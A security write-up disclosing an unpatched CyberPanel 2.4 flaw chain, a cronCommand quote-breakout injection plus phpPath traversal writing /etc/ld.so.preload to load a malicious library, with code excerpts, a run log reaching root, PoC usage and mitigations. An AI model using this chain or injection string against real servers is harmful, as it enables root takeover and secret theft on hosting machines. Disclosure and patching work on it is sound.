Two independently-exploitable bugs in CyberPanel chain together for authenticated low-privilege user → root code execution on the hosting server. Any CyberPanel user who owns a website (the minimum useful privilege level) can compromise the entire machine.
Both bugs are in the current codebase (commit 59f2bf3e, HEAD of
master) and have
been confirmed on a fresh CyberPanel 2.4 install on Ubuntu 22.04.
| Software | CyberPanel (all versions with tuneSettings) |
|---|---|
| Tested on | CyberPanel 2.4 (commit 59f2bf3e), Ubuntu 22.04, fresh install |
| Fixed in | Not fixed — 0day at time of publication |
| Auth required | Yes — any user who owns a website (lowest useful privilege) |
| Result | Root code execution on the hosting server |
cronCommand WAF Bypass → Command Injection
CyberPanel's secMiddleware scans POST body values for shell
metacharacters (; $ ` ` | && ( ) '` etc.) and rejects requests
containing them. However, certain keys are explicitly allowlisted
and skip all validation:
# CyberCP/secMiddleware.py line 228 if key == 'imageByPass' or key == 'passwordByPass' or key == 'PasswordByPass' \ or key == 'cronCommand' \ or key == 'fileContent' or key == 'commands' ... continue # ← skip ALL character checks
The addNewCron endpoint takes cronCommand from POST
data and places it into a shell command wrapped in single quotes:
# websiteFunctions/website.py finalCron = "%s %s %s %s %s %s" % (minute, hour, monthday, month, weekday, command) execPath = execPath + " addNewCron --externalApp " + ... + " --finalCron '" + finalCron + "'"
Since single quotes pass through the WAF (allowlisted key), an attacker
breaks out with cronCommand = "x'; PAYLOAD ; echo '".
The command runs as the website's Linux user (lscpd uses setuid,
not sudo).
ACL: checkOwnership — any user for their own domain.
phpPath Traversal → Arbitrary File Write as Root
The tuneSettings endpoint accepts a phpPath parameter
that specifies where to write a PHP-FPM pool configuration file.
No validation is performed on this path — no notInside,
no pathInside, no sanitization of any kind:
# websiteFunctions/website.py — tuneSettings() phpPath = data['phpPath'] # ← directly from POST, no validation ... writeToFile = open(tempStatusPath, 'w') writeToFile.write(phpFPMConf) # ← template with pmMaxChildren controlled writeToFile.close() command = 'sudo mv %s %s' % (tempStatusPath, phpPath) ProcessUtilities.executioner(command) # ← sent to lscpd main (root)
The temp file is created by the WSGI worker (as cyberpanel user),
but the sudo mv is executed by lscpd main which runs as
root. The file can be moved to any path on the filesystem.
The pmMaxChildren field is never passed through int()
(unlike the other pm fields) and accepts arbitrary text, subject only to
the secMiddleware character filter.
ACL: checkOwnership — any user for their own domain.
ld.so.preload Root Escalation/tmp/evil.so as the site user. The .so contains an __attribute__((constructor)) that fires on load and drops a SUID root shell./etc/ld.so.preload — use Bug 2 (phpPath traversal) to write the PHP-FPM template to /etc/ld.so.preload with pmMaxChildren=/tmp/evil.so. The linker processes ld.so.preload by splitting each line on whitespace. The line pm.max_children = /tmp/evil.so yields three tokens: pm.max_children, =, and /tmp/evil.so. The first two fail to load (harmless). The third loads our malicious library.fork()+exec() (cron, systemd timers, log rotation, anything), the dynamic linker reads ld.so.preload and loads /tmp/evil.so. The constructor runs as uid=0. On a typical CyberPanel server this fires within seconds.
Tested on a fresh CyberPanel 2.4 install (Ubuntu 22.04). Logged in as
lowuser (normal user, type=3, ACL=user). No SSH access.
No admin credentials. The exploit autonomously achieved uid=0 euid=0
within 5 seconds of writing ld.so.preload:
[*] Logging in as 'lowuser'... [+] Logged in (userID=3) [*] Step 1: Compiling malicious .so via cronCommand injection... [*] Step 2: Writing /etc/ld.so.preload via phpPath traversal... [+] ld.so.preload written — waiting for root process to exec... [+] ROOT in 5s — uid=0 euid=0 pid=296999
Requires: Python 3.8+, requests. Target needs gcc installed (default on CyberPanel servers).
python3 poc_cyberpanel_root.py https://TARGET:8090 USERNAME PASSWORD DOMAIN
Logs in as the specified user, compiles the payload, writes the preload, waits for root, dumps secrets, and drops into an interactive root shell.
cronCommand from the secMiddleware allowlist, or validate cron commands against a strict formatphpPath in tuneSettings — restrict to expected PHP-FPM pool config directoriessudo mv with user-controlled destinations through the root lscpd processcyberpanel which owns all pip packages)| 2026-07-06 | Bugs discovered via automated source audit of CyberPanel git repo |
| 2026-07-06 | Chain confirmed on fresh CyberPanel 2.4 (Ubuntu 22.04) test instance |
| — | No CVE assigned. No vendor contact. No patch available. |